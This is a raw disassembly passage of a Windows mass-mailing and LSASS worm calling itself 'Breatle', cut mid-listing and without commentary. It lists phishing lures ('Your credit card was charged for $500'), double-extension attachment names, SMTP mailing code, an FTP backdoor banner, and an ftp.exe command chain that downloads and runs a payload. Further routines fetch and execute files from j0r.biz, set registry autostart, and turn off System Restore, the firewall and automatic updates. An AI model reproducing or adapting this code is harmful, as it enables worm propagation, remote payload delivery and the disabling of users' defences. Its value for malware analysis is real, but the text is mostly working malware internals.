'jack',0 ; DATA XREF: MEW:004A132Co align 4 aJerry db 'jerry',0 ; DATA XREF: MEW:004A1328o align 4 aJosh db 'josh',0 ; DATA XREF: MEW:004A1324o align 4 aJoe db 'joe',0 ; DATA XREF: MEW:004A1320o aJon db 'jon',0 ; DATA XREF: MEW:004A131Co aJohn db 'john',0 ; DATA XREF: MEW:004A1318o align 4 aMary db 'mary',0 ; DATA XREF: MEW:004A1314o align 4 aMike db 'mike',0 ; DATA XREF: MEW:004A1310o align 4 aRay db 'ray',0 ; DATA XREF: MEW:004A130Co aPaul db 'paul',0 ; DATA XREF: MEW:004A1308o align 10h aLinda db 'linda',0 ; DATA XREF: MEW:004A1304o align 4 aLeo db 'leo',0 ; DATA XREF: MEW:004A1300o aTom db 'tom',0 ; DATA XREF: MEW:004A12FCo aTed db 'ted',0 ; DATA XREF: MEW:004A12F8o aFred db 'fred',0 ; DATA XREF: MEW:004A12F4o align 4 aBrenda db 'brenda',0 ; DATA XREF: MEW:004A12F0o align 4 aBrent db 'brent',0 ; DATA XREF: MEW:004A12ECo align 4 aDan db 'dan',0 ; DATA XREF: MEW:004A12E8o aBob db 'bob',0 ; DATA XREF: MEW:004A12E4o aDavid db 'david',0 ; DATA XREF: MEW:004A12E0o align 4 aAlex db 'alex',0 ; DATA XREF: MEW:004A12DCo align 4 aAdmin db 'admin',0 ; DATA XREF: MEW:004A12D8o align 4 aSupport db 'support',0 ; DATA XREF: MEW:off_4A12D4o aAccountReport_ db 'account-report.exe',0 ; DATA XREF: MEW:004A12D0o align 4 aPayment_doc db 'payment.doc ' ; DATA XREF: MEW:004A12CCo db ' .scr',0 aAbout_doc db 'about.doc ' ; DATA XREF: MEW:004A12C8o db ' .bat',0 aHelp_doc db 'help.doc ' ; DATA XREF: MEW:004A12C4o db ' .exe',0 aAbout_cpl db 'about.cpl',0 ; DATA XREF: MEW:004A12C0o align 4 aArchive_cpl db 'archive.cpl',0 ; DATA XREF: MEW:004A12BCo aAbout_scr db 'about.scr',0 ; DATA XREF: MEW:004A12B8o align 4 aArchive_exe db 'archive.exe',0 ; DATA XREF: MEW:004A12B4o aBox_bat db 'box.bat',0 ; DATA XREF: MEW:004A12B0o aInbox_cpl db 'inbox.cpl',0 ; DATA XREF: MEW:004A12ACo align 4 aBox_scr db 'box.scr',0 ; DATA XREF: MEW:004A12A8o aInbox_exe db 'inbox.exe',0 ; DATA XREF: MEW:004A12A4o align 10h aDocs_cpl db 'docs.cpl',0 ; DATA XREF: MEW:004A12A0o align 4 aAdmin_bat db 'admin.bat',0 ; DATA XREF: MEW:004A129Co align 4 aDocs_scr db 'docs.scr',0 ; DATA XREF: MEW:004A1298o align 4 aRead_cpl db 'read.cpl',0 ; DATA XREF: MEW:004A1294o align 10h aReadme_cpl db 'readme.cpl',0 ; DATA XREF: MEW:004A1290o align 4 aRead_exe db 'read.exe',0 ; DATA XREF: MEW:004A128Co align 4 aReadme_scr db 'readme.scr',0 ; DATA XREF: MEW:004A1288o align 4 aData_scr db 'data.scr',0 ; DATA XREF: MEW:004A1284o align 10h aFile_cpl db 'file.cpl',0 ; DATA XREF: MEW:004A1280o align 4 aData_bat db 'data.bat',0 ; DATA XREF: MEW:004A127Co align 4 aDocument_cpl db 'document.cpl',0 ; DATA XREF: MEW:004A1278o align 4 aDoc_pif db 'doc.pif',0 ; DATA XREF: MEW:004A1274o aDocument_exe db 'document.exe',0 ; DATA XREF: MEW:004A1270o align 10h aOrder_cpl db 'order.cpl',0 ; DATA XREF: MEW:004A126Co align 4 aOrder_exe db 'order.exe',0 ; DATA XREF: MEW:004A1268o align 4 aYourCreditCard db 'Your credit card was charged for $500 USD. For additional informa' ; DATA XREF: MEW:004A1264o db 'tion see the attachment.',0Ah,0 align 4 aBinaryMessageI db 'Binary message is available.',0Ah,0 ; DATA XREF: MEW:004A1260o align 4 aTheMessageCont db 'The message contains Unicode characters and has been sent as a bi' ; DATA XREF: MEW:004A125Co db 'nary attachment.',0Ah,0 align 4 aHereAreYourBan db 'Here are your banks documents ',0Ah,0 ; DATA XREF: MEW:004A1258o aTheOriginalMes db 'The original message was included as an attachment.',0Ah,0 ; DATA XREF: MEW:004A1254o align 10h aWeHaveTemporar db 'We have temporarily suspended your email account checkout the att' ; DATA XREF: MEW:004A1250o db 'achment for more info. ',0Ah,0 align 4 aYouHaveSuccess db 'You have successfully updated the password of your domain account' ; DATA XREF: MEW:004A124Co db ' checkout the attachment for more info.',0Ah,0 align 4 aImportantNotif db 'Important Notification checkout the attachment for more info.',0Ah,0 ; DATA XREF: MEW:004A1248o align 4 aYourAccountSus db 'Your Account Suspended checkout the document.',0Ah,0 ; DATA XREF: MEW:004A1244o align 4 aYourPasswordHa db 'Your password has been updated checkout the document.',0Ah,0 ; DATA XREF: MEW:004A1240o align 10h aCheckoutTheAtt db 'checkout the attachment.',0Ah,0 ; DATA XREF: MEW:004A123Co align 4 aHelloIWasInAHu db 'Hello,',0Ah ; DATA XREF: MEW:004A1238o db 'I was in a hurry and I forgot to attach an important',0Ah db 'document. Please see attached.',0Ah,0 aMessageCouldNo db 'Message could not be delivered',0 ; DATA XREF: MEW:004A1234o align 4 aBug db 'Bug',0 ; DATA XREF: MEW:004A1230o aError db 'Error',0 ; DATA XREF: MEW:004A122Co align 4 aEmail db 'Email',0 ; DATA XREF: MEW:004A1228o align 4 aMailDeliverySy db 'Mail Delivery System',0 ; DATA XREF: MEW:004A1224o align 4 aImportnatInfor db 'Importnat Information',0 ; DATA XREF: MEW:004A1220o align 4 aWarningYourAcc db '**WARNING** Your Account Currently Disabled.',0 ; DATA XREF: MEW:004A121Co align 4 aPassword db 'Password',0 ; DATA XREF: MEW:004A1218o align 4 aInfo db 'info',0 ; DATA XREF: MEW:004A1214o align 10h aHello db 'Hello',0 ; DATA XREF: MEW:004A1210o align 4 aHi db 'Hi',0 ; DATA XREF: MEW:off_4A120Co align 4 aAbcdefghijklmn db 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/',0 ; DATA XREF: sub_4A6249+23Ar align 10h aQuit_0 db 'QUIT',0Dh,0Ah,0 ; DATA XREF: sub_4A65D5+3FDo align 4 a__1 db 0Dh,0Ah ; DATA XREF: sub_4A65D5+3E6o db '.',0Dh,0Ah,0 align 10h aFailed db 'FAILED',0 ; DATA XREF: sub_4A65D5+3BCo align 4 aContentTypeApp db 'Content-Type: application/octet-stream; name="%s"',0Dh,0Ah ; DATA XREF: sub_4A65D5+340o db 'Content-Transfer-Encoding: base64',0Dh,0Ah db 'Content-Disposition: attachment; filename="%s"',0Dh,0Ah,0 align 10h aS_0 db '%s',0 ; DATA XREF: sub_4A65D5+302o ; sub_4A79D3+81o ... align 4 aContentTypeTex db 'Content-Type: text/plain; charset=us-ascii',0Dh,0Ah ; DATA XREF: sub_4A65D5+2CBo db 'Content-Transfer-Encoding: 7bit',0Dh,0Ah,0 align 4 aBound db '----------bound--',0Dh,0Ah,0 ; DATA XREF: sub_4A65D5+2B3o ; sub_4A65D5+31Ao asc_4A2AA8 db 0Dh,0Ah,0 ; DATA XREF: sub_4A65D5+29Bo ; sub_4A65D5+2E3o ... align 4 aContentTypeMul db 'Content-Type: multipart/mixed; boundary="--------bound--"',0Dh,0Ah,0 ; DATA XREF: sub_4A65D5+283o aXMsmailPriorit db 'X-MSMail-Priority: Normal',0Dh,0Ah,0 ; DATA XREF: sub_4A65D5+26Bo aXPriotity3 db 'X-Priotity: 3',0Dh,0Ah,0 ; DATA XREF: sub_4A65D5+253o aMimeVersion1_0 db 'MIME-Version: 1.0',0Dh,0Ah,0 ; DATA XREF: sub_4A65D5+23Bo aSubjectS db 'SUBJECT:%s',0Dh,0Ah,0 ; DATA XREF: sub_4A65D5+223o align 4 aToS db 'TO: %s',0Dh,0Ah,0 ; DATA XREF: sub_4A65D5+204o align 4 aFromSS db 'FROM: %s%s',0Dh,0Ah,0 ; DATA XREF: sub_4A65D5+1E8o align 4 aData db 'DATA',0Dh,0Ah,0 ; DATA XREF: sub_4A65D5+1BDo align 4 aRcptToS db 'RCPT TO: <%s>',0Dh,0Ah,0 ; DATA XREF: sub_4A65D5+1A0o aMailFromSS db 'MAIL FROM: <%s%s>',0Dh,0Ah,0 ; DATA XREF: sub_4A65D5+17Fo aHeloLocalhost db 'HELO localhost',0Dh,0Ah,0 ; DATA XREF: sub_4A65D5+154o align 4 aDnsquery_a db 'DnsQuery_A',0 ; DATA XREF: sub_4A6A0A:loc_4A6A61o align 10h dword_4A2BA0 dd 61736E64h dword_4A2BA4 dd 642E6970h word_4A2BA8 dw 6C6Ch ; DATA XREF: sub_4A6A0A+17r byte_4A2BAA db 0 ; DATA XREF: sub_4A6A0A+22r align 4 a221GoodbyeHapp db '221 Goodbye happy r00ting.',0Ah,0 ; DATA XREF: sub_4A6DD0+856o aQuit db 'QUIT',0 ; DATA XREF: sub_4A6DD0:loc_4A760Ao align 10h a425CanTOpenDat db '425 Can',27h,'t open data connection.',0Ah,0 ; DATA XREF: sub_4A6DD0+826o align 4 a226TransferC_0 db '226 Transfer complete.',0Ah,0 ; DATA XREF: sub_4A6DD0+80Eo a150OpeningBina db '150 Opening BINARY mode data connection',0Ah,0 ; DATA XREF: sub_4A6DD0+7D3o align 4 aRetr db 'RETR',0 ; DATA XREF: sub_4A6DD0:loc_4A7587o align 10h a200PortCommand db '200 PORT command successful.',0Ah,0 ; DATA XREF: sub_4A6DD0+7A0o align 10h aS_S_S_S db '%s.%s.%s.%s',0 ; DATA XREF: sub_4A6DD0+787o aXX db '%x%x',0Ah,0 ; DATA XREF: sub_4A6DD0+73Co align 4 aS db '%*s %[^,],%[^,],%[^,],%[^,],%[^,],%[^',0Ah ; DATA XREF: sub_4A6DD0+6DAo db ']',0 aPort db 'PORT',0 ; DATA XREF: sub_4A6DD0:loc_4A7464o align 4 a226TransferCom db '226 Transfer complete',0Ah,0 ; DATA XREF: sub_4A6DD0+659o align 4 aList db 'LIST',0 ; DATA XREF: sub_4A6DD0:loc_4A740Co align 4 a425PassiveNotS db '425 Passive not supported on this server',0Ah,0 ; DATA XREF: sub_4A6DD0+602o align 10h aPasv db 'PASV',0 ; DATA XREF: sub_4A6DD0:loc_4A73B5o align 4 a200TypeSetToI_ db '200 Type set to I.',0Ah,0 ; DATA XREF: sub_4A6DD0+5CEo aI: ; DATA XREF: sub_4A6DD0+5B2o unicode 0, <I>,0 a200TypeSetToA_ db '200 Type set to A.',0Ah,0 ; DATA XREF: sub_4A6DD0+583o aA: ; DATA XREF: sub_4A6DD0+567o unicode 0, <A>,0 aType db 'TYPE',0 ; DATA XREF: sub_4A6DD0:loc_4A731Fo ; sub_4A6DD0:loc_4A736Ao align 10h a257IsCurrentDi db '257 "/" is current directory.',0Ah,0 ; DATA XREF: sub_4A6DD0+538o align 10h aPwd db 'PWD',0 ; DATA XREF: sub_4A6DD0:loc_4A72ECo a350Restarting_ db '350 Restarting.',0Ah,0 ; DATA XREF: sub_4A6DD0+505o align 4 aRest db 'REST',0 ; DATA XREF: sub_4A6DD0:loc_4A72B9o align 10h a215Stnyftpd db '215 StnyFtpd',0Ah,0 ; DATA XREF: sub_4A6DD0+4D2o align 10h aSyst db 'SYST',0 ; DATA XREF: sub_4A6DD0:loc_4A7286o align 4 a230UserLoggedI db '230 User logged in.',0Ah,0 ; DATA XREF: sub_4A6DD0+49Fo align 10h aPass db 'PASS',0 ; DATA XREF: sub_4A6DD0:loc_4A7253o align 4 a331PasswordReq db '331 Password required',0Ah,0 ; DATA XREF: sub_4A6DD0+46Co align 10h aUser db 'USER',0 ; DATA XREF: sub_4A6DD0+450o align 4 aSS db '%s %s',0 ; DATA XREF: sub_4A6DD0+43Bo align 10h a220Stnyftpd0wn db '220 StnyFtpd 0wns j0',0Ah,0 ; DATA XREF: sub_4A6DD0+33Fo align 4 aD_D_D_D db '%d.%d.%d.%d',0 ; DATA XREF: sub_4A77B1+47o ; sub_4A85C7+6Ao ... aEchoOpenSDExpl db 'echo open %s %d > exploit.ftp&echo user breatle >> exploit.ftp&ec' ; DATA XREF: sub_4A79D3+235o db 'ho binary >> exploit.ftp&echo get 23425_up.exe >> exploit.ftp&ech' db 'o quit >> exploit.ftp&ftp.exe -n -s:exploit.ftp&del exploit.ftp&2' db '3425_up.exe',0Dh,0Ah,0 align 4 aI_I_I_I db '%i.%i.%i.%i',0 ; DATA XREF: sub_4A79D3+17Eo ; --------------------------------------------------------------------------- loc_4A2ED4: ; DATA XREF: sub_4A7C89+1F8o jmp short loc_4A2EDC ; --------------------------------------------------------------------------- jmp short loc_4A2EDE ; --------------------------------------------------------------------------- dd 0 ; --------------------------------------------------------------------------- loc_4A2EDC: ; CODE XREF: MEW:loc_4A2ED4j ; DATA XREF: sub_4A7C89+3Co pop esp pop esp loc_4A2EDE: ; CODE XREF: MEW:004A2ED6j and eax, 70695C73h arpl [eax+eax], sp ; --------------------------------------------------------------------------- dw 0 dword_4A2EE8 dd 1CEC8166h dword_4A2EEC dd 0E4FF07h dword_4A2EF0 dd 252E6925h, 64252E69h, 64252EhaSymantec db 'Symantec',0 ; DATA XREF: sub_4A8850+24o ; sub_4A8850+5Bo align 4 aEasyToTalkButH db 'easy to talk but hard to work :)',0 align 4 aWhatAboutWorki db 'what about working in symantec? :P',0 align 10h aItIsNotOnlyAMa db 'it is not only a mass mail worm it is also a lsass worm :) ( fixe' db 'd version )',0 align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4A2FA0 proc near ; CODE XREF: MEW:004A32EEp var_104 = byte ptr -104h push ebp mov ebp, esp sub esp, 104h push 104h lea eax, [ebp+var_104] push eax call dword_4A1068 push offset aUpdate3_exe ; "\\update3.exe" lea ecx, [ebp+var_104] push ecx call sub_4A8904 add esp, 8 push 0 push 0 lea edx, [ebp+var_104] push edx push offset aHttpJ0r_bizUpd ; "http://j0r.biz/update3.exe" push 0 call sub_4A8966 mov esp, ebp pop ebp retn sub_4A2FA0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4A2FEA proc near ; CODE XREF: MEW:004A32FEp var_104 = byte ptr -104h push ebp mov ebp, esp sub esp, 104h push 104h lea eax, [ebp+var_104] push eax call dword_4A1068 push offset aUpdate3_exe ; "\\update3.exe" lea ecx, [ebp+var_104] push ecx call sub_4A8904 add esp, 8 push 0 push 0 push 0 lea edx, [ebp+var_104] push edx push offset aOpen ; "open" push 0 call dword_4A1120 mov esp, ebp pop ebp retn sub_4A2FEA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4A3037 proc near ; CODE XREF: MEW:004A3303p var_104 = byte ptr -104h push ebp mov ebp, esp sub esp, 104h push 104h lea eax, [ebp+var_104] push eax call dword_4A1068 push offset aBxt_com ; "\\bxt.com" lea ecx, [ebp+var_104] push ecx call sub_4A8904 add esp, 8 push 0 push 0 lea edx, [ebp+var_104] push edx push offset aHttpJ0r_bizPro ; "http://j0r.biz/proto.com" push 0 call sub_4A8966 mov esp, ebp pop ebp retn sub_4A3037 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4A3081 proc near ; CODE XREF: MEW:004A3313p var_104 = byte ptr -104h push ebp mov ebp, esp sub esp, 104h push 104h lea eax, [ebp+var_104] push eax call dword_4A1068 push offset aBxt_com ; "\\bxt.com" lea ecx, [ebp+var_104] push ecx call sub_4A8904 add esp, 8 push 0 push 0 push 0 lea edx, [ebp+var_104] push edx push offset aOpen ; "open" push 0 call dword_4A1120 mov esp, ebp pop ebp retn sub_4A3081 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4A30CE proc near ; CODE XREF: MEW:loc_4A325Fp var_168 = byte ptr -168h var_104 = byte ptr -104h push ebp mov ebp, esp sub esp, 168h push 64h push 0 lea eax, [ebp+var_168] push eax call sub_4A890A add esp, 0Ch push 104h push 0 lea ecx, [ebp+var_104] push ecx call sub_4A890A add esp, 0Ch push 104h lea edx, [ebp+var_104] push edx push 0 call dword_4A1080 push eax call dword_4A107C push 64h lea eax, [ebp+var_168] push eax call dword_4A1078 lea ecx, [ebp+var_168] push ecx call dword_4A1074 push offset aWindows_exe ; "\\windows.exe" lea edx, [ebp+var_168] push edx call sub_4A8904 add esp, 8 push 0 lea eax, [ebp+var_168] push eax lea ecx, [ebp+var_104] push ecx call dword_4A1070 push 4 lea edx, [ebp+var_168] push edx call dword_4A106C push 2 lea eax, [ebp+var_168] push eax call dword_4A106C mov esp, ebp pop ebp retn sub_4A30CE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4A3183 proc near ; CODE XREF: MEW:004A3269p var_168 = byte ptr -168h var_104 = byte ptr -104h push ebp mov ebp, esp sub esp, 168h push 64h push 0 lea eax, [ebp+var_168] push eax call sub_4A890A add esp, 0Ch push 104h push 0 lea ecx, [ebp+var_104] push ecx call sub_4A890A add esp, 0Ch push 104h lea edx, [ebp+var_104] push edx push 0 call dword_4A1080 push eax call dword_4A107C push 64h lea eax, [ebp+var_168] push eax call dword_4A1078 lea ecx, [ebp+var_168] push ecx call dword_4A1074 push offset aAttach_tmp ; "\\attach.tmp" lea edx, [ebp+var_168] push edx call sub_4A8904 add esp, 8 push 0 lea eax, [ebp+var_168] push eax lea ecx, [ebp+var_104] push ecx call dword_4A1070 push 4 lea edx, [ebp+var_168] push edx call dword_4A106C push 2 lea eax, [ebp+var_168] push eax call dword_4A106C mov esp, ebp pop ebp retn sub_4A3183 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp push offset aBreatleAntivir ; "Breatle AntiVirus v1.0" push 1 push 0 call dword_4A1094 call dword_4A1090 cmp eax, 0B7h jnz short loc_4A325F push 0 call dword_4A108C loc_4A325F: ; CODE XREF: MEW:004A3255j call sub_4A30CE call sub_4A3EDE call sub_4A3183 call sub_4A8850 push offset dword_4A8980 push 0 push 0 push offset sub_4A6DD0 push 0 push 0 call dword_4A1088 loc_4A328B: ; CODE XREF: MEW:004A32A7j push 0 push offset dword_4A8978 call dword_4A1134 test eax, eax jnz short loc_4A32A9 push 4E20h call dword_4A1084 jmp short loc_4A328B ; --------------------------------------------------------------------------- loc_4A32A9: ; CODE XREF: MEW:004A329Aj push offset dword_4A897C push 0 push 0 push offset sub_4A5390 push 0 push 0 call dword_4A1088 push offset dword_4A897C push 0 push 0 push offset sub_4A42B6 push 0 push 0 call dword_4A1088 push 0 push 0 push 0 push offset sub_4A87AD push 0 push 0 call dword_4A1088 call sub_4A2FA0 push 1F4h call dword_4A1084 call sub_4A2FEA call sub_4A3037 push 1F4h call dword_4A1084 call sub_4A3081 xor eax, eax pop ebp retn 10h ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4A3320 proc near ; CODE XREF: sub_4A3EDE+3p var_20C = byte ptr -20Ch var_18C = dword ptr -18Ch var_188 = byte ptr -188h var_124 = byte ptr -124h var_104 = byte ptr -104h push ebp mov ebp, esp sub esp, 20Ch push 104h lea eax, [ebp+var_104] push eax call dword_4A1078 push 104h push offset aWindows_exe ; "\\windows.exe" lea ecx, [ebp+var_104] push ecx call dword_4A1110 add esp, 0Ch push offset aSoftwareMicr_2 ; "SOFTWARE\\Microsoft\\Windows NT\\CurrentVe"... lea edx, [ebp+var_20C] push edx call dword_4A112C add esp, 8 push offset aWin ; "WIN" lea eax, [ebp+var_124] push eax call dword_4A112C add esp, 8 lea ecx, [ebp+var_104] push ecx lea edx, [ebp+var_188] push edx call dword_4A112C add esp, 8 lea eax, [ebp+var_18C] push eax push 20006h push 0 lea ecx, [ebp+var_20C] push ecx push 80000002h call dword_4A1004 test eax, eax jz short loc_4A33BC jmp short loc_4A33FB ; --------------------------------------------------------------------------- loc_4A33BC: ; CODE XREF: sub_4A3320+98j lea edx, [ebp+var_188] push edx call sub_4A8910 add esp, 4 add eax, 1 push eax lea eax, [ebp+var_188] push eax push 1 push 0 lea ecx, [ebp+var_124] push ecx mov edx, [ebp+var_18C] push edx call dword_4A1008 mov eax, [ebp+var_18C] push eax call dword_4A100C loc_4A33FB: ; CODE XREF: sub_4A3320+9Aj mov esp, ebp pop ebp retn sub_4A3320 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4A33FF proc near ; CODE XREF: sub_4A3EDE+8p var_A8 = byte ptr -0A8h var_28 = dword ptr -28h var_24 = byte ptr -24h var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 0A8h mov [ebp+var_4], 1 push offset aSoftwareMicros ; "SOFTWARE\\Microsoft\\Windows NT\\CurrentVe"... lea eax, [ebp+var_A8] push eax call dword_4A112C add esp, 8 push offset aDisablesr ; "DisableSR" lea ecx, [ebp+var_24] push ecx call dword_4A112C add esp, 8 lea edx, [ebp+var_28] push edx push 20006h push 0 lea eax, [ebp+var_A8] push eax push 80000002h call dword_4A1004 test eax, eax jz short loc_4A3459 jmp short loc_4A347B ; --------------------------------------------------------------------------- loc_4A3459: ; CODE XREF: sub_4A33FF+56j push 4 lea ecx, [ebp+var_4] push ecx push 4 push 0 lea edx, [ebp+var_24] push edx mov eax, [ebp+var_28] push eax call dword_4A1008 mov ecx, [ebp+var_28] push ecx call dword_4A100C loc_4A347B: ; CODE XREF: sub_4A33FF+58j mov esp, ebp pop ebp retn sub_4A33FF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4A347F proc near ; CODE XREF: sub_4A3EDE+Dp var_A8 = byte ptr -0A8h var_28 = dword ptr -28h var_24 = byte ptr -24h var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 0A8h mov [ebp+var_4], 1 push offset aSoftwareMicros ; "SOFTWARE\\Microsoft\\Windows NT\\CurrentVe"... lea eax, [ebp+var_A8] push eax call dword_4A112C add esp, 8 push offset aDisablesr ; "DisableSR" lea ecx, [ebp+var_24] push ecx call dword_4A112C add esp, 8 lea edx, [ebp+var_28] push edx push 20006h push 0 lea eax, [ebp+var_A8] push eax push 80000001h call dword_4A1004 test eax, eax jz short loc_4A34D9 jmp short loc_4A34FB ; --------------------------------------------------------------------------- loc_4A34D9: ; CODE XREF: sub_4A347F+56j push 4 lea ecx, [ebp+var_4] push ecx push 4 push 0 lea edx, [ebp+var_24] push edx mov eax, [ebp+var_28] push eax call dword_4A1008 mov ecx, [ebp+var_28] push ecx call dword_4A100C loc_4A34FB: ; CODE XREF: sub_4A347F+58j mov esp, ebp pop ebp retn sub_4A347F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4A34FF proc near ; CODE XREF: sub_4A3EDE+12p var_A8 = byte ptr -0A8h var_28 = dword ptr -28h var_24 = byte ptr -24h var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 0A8h mov [ebp+var_4], 1 push offset aSoftwarePolici ; "SOFTWARE\\Policies\\Microsoft\\WindowsFire"... lea eax, [ebp+var_A8] push eax call dword_4A112C add esp, 8 push offset aEnablefirewall ; "EnableFirewall" lea ecx, [ebp+var_24] push ecx call dword_4A112C add esp, 8 lea edx, [ebp+var_28] push edx push 20006h push 0 lea eax, [ebp+var_A8] push eax push 80000002h call dword_4A1004 test eax, eax jz short loc_4A3559 jmp short loc_4A357B ; --------------------------------------------------------------------------- loc_4A3559: ; CODE XREF: sub_4A34FF+56j push 4 lea ecx, [ebp+var_4] push ecx push 4 push 0 lea edx, [ebp+var_24] push edx mov eax, [ebp+var_28] push eax call dword_4A1008 mov ecx, [ebp+var_28] push ecx call dword_4A100C loc_4A357B: ; CODE XREF: sub_4A34FF+58j mov esp, ebp pop ebp retn sub_4A34FF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4A357F proc near ; CODE XREF: sub_4A3EDE+17p var_A8 = byte ptr -0A8h var_28 = dword ptr -28h var_24 = byte ptr -24h var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 0A8h mov [ebp+var_4], 1 push offset aSoftwarePolici ; "SOFTWARE\\Policies\\Microsoft\\WindowsFire"... lea eax, [ebp+var_A8] push eax call dword_4A112C add esp, 8 push offset aEnablefirewall ; "EnableFirewall" lea ecx, [ebp+var_24] push ecx call dword_4A112C add esp, 8 lea edx, [ebp+var_28] push edx push 20006h push 0 lea eax, [ebp+var_A8] push eax push 80000001h call dword_4A1004 test eax, eax jz short loc_4A35D9 jmp short loc_4A35FB ; --------------------------------------------------------------------------- loc_4A35D9: ; CODE XREF: sub_4A357F+56j push 4 lea ecx, [ebp+var_4] push ecx push 4 push 0 lea edx, [ebp+var_24] push edx mov eax, [ebp+var_28] push eax call dword_4A1008 mov ecx, [ebp+var_28] push ecx call dword_4A100C loc_4A35FB: ; CODE XREF: sub_4A357F+58j mov esp, ebp pop ebp retn sub_4A357F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4A35FF proc near ; CODE XREF: sub_4A3EDE+1Cp var_A8 = byte ptr -0A8h var_28 = dword ptr -28h var_24 = byte ptr -24h var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 0A8h mov [ebp+var_4], 1 push offset aSoftwarePoli_0 ; "SOFTWARE\\Policies\\Microsoft\\WindowsFire"... lea eax, [ebp+var_A8] push eax call dword_4A112C add esp, 8 push offset aEnablefirewall ; "EnableFirewall" lea ecx, [ebp+var_24] push ecx call dword_4A112C add esp, 8 lea edx, [ebp+var_28] push edx push 20006h push 0 lea eax, [ebp+var_A8] push eax push 80000002h call dword_4A1004 test eax, eax jz short loc_4A3659 jmp short loc_4A367B ; --------------------------------------------------------------------------- loc_4A3659: ; CODE XREF: sub_4A35FF+56j push 4 lea ecx, [ebp+var_4] push ecx push 4 push 0 lea edx, [ebp+var_24] push edx mov eax, [ebp+var_28] push eax call dword_4A1008 mov ecx, [ebp+var_28] push ecx call dword_4A100C loc_4A367B: ; CODE XREF: sub_4A35FF+58j mov esp, ebp pop ebp retn sub_4A35FF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4A367F proc near ; CODE XREF: sub_4A3EDE+21p var_A8 = byte ptr -0A8h var_28 = dword ptr -28h var_24 = byte ptr -24h var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 0A8h mov [ebp+var_4], 1 push offset aSoftwarePoli_0 ; "SOFTWARE\\Policies\\Microsoft\\WindowsFire"... lea eax, [ebp+var_A8] push eax call dword_4A112C add esp, 8 push offset aEnablefirewall ; "EnableFirewall" lea ecx, [ebp+var_24] push ecx call dword_4A112C add esp, 8 lea edx, [ebp+var_28] push edx push 20006h push 0 lea eax, [ebp+var_A8] push eax push 80000001h call dword_4A1004 test eax, eax jz short loc_4A36D9 jmp short loc_4A36FB ; --------------------------------------------------------------------------- loc_4A36D9: ; CODE XREF: sub_4A367F+56j push 4 lea ecx, [ebp+var_4] push ecx push 4 push 0 lea edx, [ebp+var_24] push edx mov eax, [ebp+var_28] push eax call dword_4A1008 mov ecx, [ebp+var_28] push ecx call dword_4A100C loc_4A36FB: ; CODE XREF: sub_4A367F+58j mov esp, ebp pop ebp retn sub_4A367F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4A36FF proc near ; CODE XREF: sub_4A3EDE+26p var_A8 = byte ptr -0A8h var_28 = dword ptr -28h var_24 = byte ptr -24h var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 0A8h mov [ebp+var_4], 1 push offset aSoftwarePoli_1 ; "Software\\Policies\\Microsoft\\Windows\\Win"... lea eax, [ebp+var_A8] push eax call dword_4A112C add esp, 8 push offset aNoautoupdate ; "NoAutoUpdate" lea ecx, [ebp+var_24] push ecx call dword_4A112C add esp, 8 lea edx, [ebp+var_28] push edx push 20006h push 0 lea eax, [ebp+var_A8] push eax push 80000002h call dword_4A1004 test eax, eax jz short loc_4A3759 jmp short loc_4A377B ; --------------------------------------------------------------------------- loc_4A3759: ; CODE XREF: sub_4A36FF+56j push 4 lea ecx, [ebp+var_4] push ecx push 4 push 0 lea edx, [ebp+var_24] push edx mov eax, [ebp+var_28] push eax call dword_4A1008 mov ecx, [ebp+var_28] push ecx call dword_4A100C loc_4A377B: ; CODE XREF: sub_4A36FF+58j mov esp, ebp pop ebp retn sub_4A36FF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4A377F proc near ; CODE XREF: sub_4A3EDE+2Bp var_A8 = byte ptr -0A8h var_28 = dword ptr -28h var_24 = byte ptr -24h var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 0A8h mov [ebp+var_4], 1 push offset aSoftwarePoli_1 ; "Software\\Policies\\Microsoft\\Windows\\Win"... lea eax, [ebp+var_A8] push eax call dword_4A112C add esp, 8 push offset aNoautoupdate ; "NoAutoUpdate" lea ecx, [ebp+var_24] push ecx call dword_4A112C add esp, 8 lea edx, [ebp+var_28] push edx push 20006h push 0 lea eax, [ebp+var_A8] push eax push 80000001h call dword_4A1004 test eax, eax jz short loc_4A37D9 jmp short loc_4A37FB ; --------------------------------------------------------------------------- loc_4A37D9: ; CODE XREF: sub_4A377F+56j push 4 lea ecx, [ebp+var_4] push ecx push 4 push 0 lea edx, [ebp+var_24] push edx mov eax, [ebp+var_28] push eax call dword_4A1008 mov ecx, [ebp+var_28] push ecx call dword_4A100C loc_4A37FB: ; CODE XREF: sub_4A377F+58j mov esp, ebp pop ebp retn sub_4A377F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4A37FF proc near ; CODE XREF: sub_4A3EDE+30p var_A8 = byte ptr -0A8h var_28 = dword ptr -28h var_24 = byte ptr -24h var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 0A8h mov [ebp+var_4], 1 push offset aSoftwarePoli_1 ; 